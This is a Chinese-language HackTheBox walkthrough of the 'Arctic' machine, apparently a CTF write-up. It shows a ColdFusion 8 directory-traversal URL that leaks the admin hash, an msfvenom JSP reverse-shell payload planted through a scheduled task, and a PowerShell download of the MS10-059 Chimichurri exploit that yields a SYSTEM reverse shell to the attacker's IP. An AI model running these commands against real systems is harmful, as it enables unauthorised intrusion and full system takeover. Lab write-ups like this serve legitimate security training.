之前一段时间,我搭建了这个环境,它是我第一次启动HackTheBox时做的第一个事情。我最近帮助了一个在这个环境里工作的人,所以我决定整理一下我的笔记,因为它们有点乱,并且重新组织它们来进行适当的写作。
初始枚举
首先,让我们从一个快速的nmap扫描开始。
root@kali:~/htb/arctic# nmap -sV 10.10.10.11
Nmap scan report for 10.10.10.11
Host is up (0.065s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open http JRun Web Server
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
端口8500看起来很有趣。让我们用浏览器看一下。
管理员目录为我们提供了ColdFusion 8的登录入口。
漏洞利用
在线快速搜索后,我们发现ColdFusion 8存在目录遍历的漏洞。ColdFusion 8还将管理员散列本地存储在名为password.properties的文件中。因此,我们可以使用以下URL使用目录遍历来获取管理员散列:
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
我们在浏览器中获得了这个输出。
所以我们有一个散列 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
使用hash-identifier这个工具我们可以看到散列很可能是SHA-1。
Google在线快速搜索一下可以得到破解的密码 - happyday。一般来说在启动hashcat破解之前使用搜索引擎可以很容易得到明文密码。
在登录页面的内部,有一个区域允许我们通过调试和记录类别下的计划任务来上传文件。
计划的任务设置使你可以从Web服务器下载文件并在本地保存输出。在Mappings下,我们可以验证CFIDE的路径,所以我们知道我们可以在哪里保存一个shell。
此时我们需要生成一个shell。我们可以上传一个cfexec.cfm shell(位于Kali的/usr/share/webshells/cfm中)来执行命令,或者我们可以通过上传JSP shell来获得完整的shell,因为ColdFusion将提供并运行JSP文件。
要生成一个JSP shell,我们使用msfvenom并设置相应地参数。
root@kali:~/htb/arctic# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
Payload size: 1496 byte
现在我们创建了我们的shell,让我们使用python SimpleHTTPServer从Kali提供文件下载。
root@kali:~/htb/arctic# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
在ColdFusion管理控制台中,我们为计划任务配置了三个参数。
·将URL设置为承载JSP Shell的Web服务器
·选中将输出保存到文件的复选框
·将文件设置为C:\ColdFusion8\wwwroot\CFIDE\shell.jsp
提交后,我们在Actions下按需运行任务,并且我们可以在我们的python http服务器上看到一个200的响应。
启动一个netcat监听器,我们现在可以浏览到我们的shell
http://10.10.10.11:8500/CFIDE/shell.jsp
root@kali:~/htb/arctic# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49212
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ColdFusion8\runtime\bin>whoami & hostname
whoami & hostname
arctic\tolis
arctic
我们可以在tolis的桌面上抓取user.txt标志。
特权升级
Tolis似乎不是系统管理员,所以我们需要升级权限。我一般在Windows上为特权升级做的第一件事是获取系统信息,以便我们可以识别操作系统并查看是否缺少任何补丁。
从这里我们确定该机器正在运行Server 2008 R2,并且根据Hotfix(s)下的输出没有安装任何修补程序。内容很多!让我们看看我们能找到什么样的漏洞。从这里你可以使用Google,使用Exploit-DB,searchsploit,或者对于Windows,我喜欢使用一个名为Windows Exploit Suggester的东西,它使提权变得简单。我不会详细介绍如何使用它,请检查github以查看使用情况以及所有可以使用的信息。
在查看了输出之后,我发现了一些可以工作的特权升级漏洞。我决定研究MS10-059。
https://www.exploit-db.com/exploits/14610/
Exploit-DB下载只包含源文件并且没有编译的exe文件。不知道是出于何种原因,这个Exp还有另外一个名称——Chimichurri,我在Exploit – DB上使用这个名称搜索了一下,找到了一个编译好的exe,在Github的 这里。请注意,通常你要自己编译一些东西,但是如果没有安装大量的东西,我就无法自己做这件事,所以我决定放弃它。根据源代码,它看起来像利用我们的IP地址和期望的端口作为参数来向我们发送反向shell。
我们再一次在Kali上设置了一个python http服务器,并把Exp下载到我们的目标中,一个简单的powershell脚本就可以实现。
C:\ColdFusion8>echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\ColdFusion8>echo $url = "http://10.10.14.10/chimichurri.exe" >>wget.ps1
C:\ColdFusion8>echo $file = "exploit.exe" >>wget.ps1
C:\ColdFusion8>echo $webclient.DownloadFile($url,$file) >>wget.ps1
C:\ColdFusion8>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
我们验证下载,启动一个netcat监听器,并运行漏洞利用。
C:\ColdFusion8>exploit.exe 10.10.14.10 443
/Chimichurri/-->This exploit gives you a Local System shell
/Chimichurri/-->Changing registry values...
/Chimichurri/-->Got SYSTEM token...
/Chimichurri/-->Running reverse shell...
/Chimichurri/-->Restoring default registry values...
root@kali:~/htb/arctic# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49267
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\ColdFusion8>whoami & hostname
whoami & hostname
nt authority\system
arctic
现在我们可以获取管理员桌面上的root.txt 里的Flag。
领取专属 10元无门槛券
私享最新 技术干货